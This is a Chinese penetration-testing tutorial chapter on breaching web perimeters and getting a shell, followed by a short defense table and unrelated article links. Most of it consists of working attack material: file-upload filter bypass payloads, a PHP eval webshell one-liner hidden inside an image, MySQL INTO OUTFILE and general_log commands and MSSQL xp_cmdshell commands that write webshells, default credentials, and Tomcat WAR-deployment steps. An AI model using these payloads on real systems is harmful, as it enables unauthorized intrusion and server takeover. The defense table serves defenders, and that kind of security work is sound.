第一部分:外网打点篇 —— 边界突破

第二章:Web 漏洞利用与 Getshell

核心逻辑 :拿到 Web 权限(Webshell)是进入内网的门票。本章重点在于快速、稳定地获取控制权,而非单纯弹计算器。


2.1 后台上传漏洞利用

目标:绕过前端/后端校验,上传 WebShell。

2.1.1 黑名单绕过(最经典)

场景 :服务端禁止 .asp, .php, .jsp, .aspx。

绕过技巧:

技巧 Payload / 操作 原理
大小写混淆​ shell.Php, shell.Jsp Windows 文件系统不区分大小写,但代码逻辑可能区分。
特殊后缀​ shell.php5, shell.phtml Apache 解析漏洞(AddHandler)将特定后缀当作 PHP 执行。
双写后缀​ shell.pphphp 过滤逻辑只替换一次 php。
截断上传​ shell.php%00.jpg 旧版 C 语言库(如 fopen)遇到 %00截断。
.htaccess​ 上传 .htaccess文件 AddType application/x-httpd-php .jpg(让 JPG 当 PHP 执行)。
2.1.2 MIME 类型与 Content-Type 绕过

场景 :后端检查 $_FILES['file']['type']。

操作:

使用 Burp Suite 拦截请求,修改:

复制代码
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg   <-- 修改为 image/gif 或 image/png
2.1.3 内容检测绕过(图片马)

场景:后端检查文件内容头(Magic Bytes)。

制作图片马:

bash 复制代码
# Linux 命令
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
cat shell.php >> normal.jpg
mv normal.jpg shell.jpg.php

防御绕过:在图片马头部加入大量垃圾字符(GIF89a),扰乱杀软特征库。


2.2 中间件漏洞利用

目标:利用中间件本身的 RCE 漏洞直接 Getshell。

2.2.1 Apache Tomcat
  • 弱口令部署 WAR 包:

    1. 爆破 /manager/html登录口。

    2. 打包 JSP 马:jar -cvf shell.war shell.jsp。

    3. 上传并访问 http://target/shell/shell.jsp。

  • CVE-2020-1938 (Ghostcat):

    • 利用 AJP 协议读取任意文件或包含 JSP 马。
2.2.2 WebLogic
  • 弱口令 :weblogic/weblogic, system/password。

  • 后台部署:Console 后台上传应用包。

  • 反序列化漏洞:

    • CVE-2017-10271 (XMLDecoder RCE)。

    • CVE-2020-14882 (Console 权限绕过 + RCE)。

2.2.3 Nexus Repository Manager
  • 默认密码 :admin/admin123。

  • RCE 漏洞:CVE-2019-7238 (EL 表达式注入)。


2.3 内存马注入(无文件攻击)

目标:不落地文件,避免被静态查杀。

适用场景:高防护环境、不想留 WebShell 文件。

2.3.1 JSP 内存马(Filter 型)

原理:通过 JSP 执行 Java 代码,动态注册一个 Filter(过滤器),将所有请求拦截到恶意代码。

特点:

  • 重启 Web 服务后失效(通常够用)。

  • 磁盘上找不到 Shell 文件。

2.3.2 .NET 内存马(HttpModule)

原理 :利用 C# 反射机制,动态注册 IHttpModule,挂钩 Application_BeginRequest。

工具 :AntSword插件、Godzilla内存马模块。


2.4 数据库 Getshell

目标:利用数据库权限写文件。

2.4.1 MySQL

条件 :secure_file_priv为空或指定目录,File权限。

命令:

sql 复制代码
-- 1. 导出 Shell
SELECT '<?php @eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- 2. 日志写 Shell (通用)
SET global general_log=on;
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]); ?>';
2.4.2 MSSQL

条件 :xp_cmdshell开启。

命令:

sql 复制代码
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\inetpub\wwwroot\shell.asp';

2.5 防御视角(给客户)

漏洞类型 修复建议
上传漏洞​ 1. 重命名文件(随机名+白名单后缀)。 2. 存储与执行分离(上传目录不给执行权限)。 3. 使用 WAF 拦截畸形包。
中间件漏洞​ 1. 及时更新补丁。 2. 禁用不必要协议(如 AJP)。 3. 强密码策略,限制管理后台访问 IP。
内存马​ 1. 重启 Web 服务。 2. 使用 Arthas (Java) 或 Process Explorer (.NET) 排查异常类/模块。
数据库写文件​ 1. 设置 secure_file_priv=NULL。 2. 禁用 xp_cmdshell。
相关推荐
新鲜势力呀3 小时前
PHP 实战:用户登录频繁失败怎么办?从安全防护到登录系统架构优化完整方案
安全·系统架构·php
yume_sibai3 小时前
02-Nginx进阶配置完全指南(性能优化 + 安全配置 + 缓存配置 + WebSocket代理)
nginx·安全·性能优化
深圳市尚想信息技术有限公司3 小时前
设备凝露、高湿腐蚀?ROSAHL M-7J1R国产兼容电解除湿元件(SPEC-7),工业密闭箱体防潮除凝露
安全·防潮·结露·起雾·受潮·除湿
运行时异常12 小时前
【WMS 仓储系统集成 AI Agent 实战】第 8 讲(终篇):生产部署与并发安全——Semaphore 放进 Flux.defer 的坑,压测抓了一晚上
人工智能·安全
虹科网络安全12 小时前
“顶会”看安全(十八):超越越狱:揭示由能力边界模糊引发的 LLM 应用安全风险
人工智能·安全
hasty12 小时前
OAuth 登录成功,不代表邮箱可信:Flarum 账号关联漏洞的安全编码启示
安全
国科安芯14 小时前
断电也隔离、听得真:ASL3159S 单通道 SPDT 模拟开关的“断电保护 + 音频保真“账
单片机·嵌入式硬件·安全·商业航天·抗辐射
hasty15 小时前
2026软件供应链安全政策全景
安全·安全威胁分析·代码复审
小程序设计15 小时前
基于STM32的智慧厨房多参数安全监测与预警系统设计
stm32·嵌入式硬件·安全
绿蕉15 小时前
从“叠积木补安全“到“设计即安全“:EE 架构里的安全左移革命
安全·架构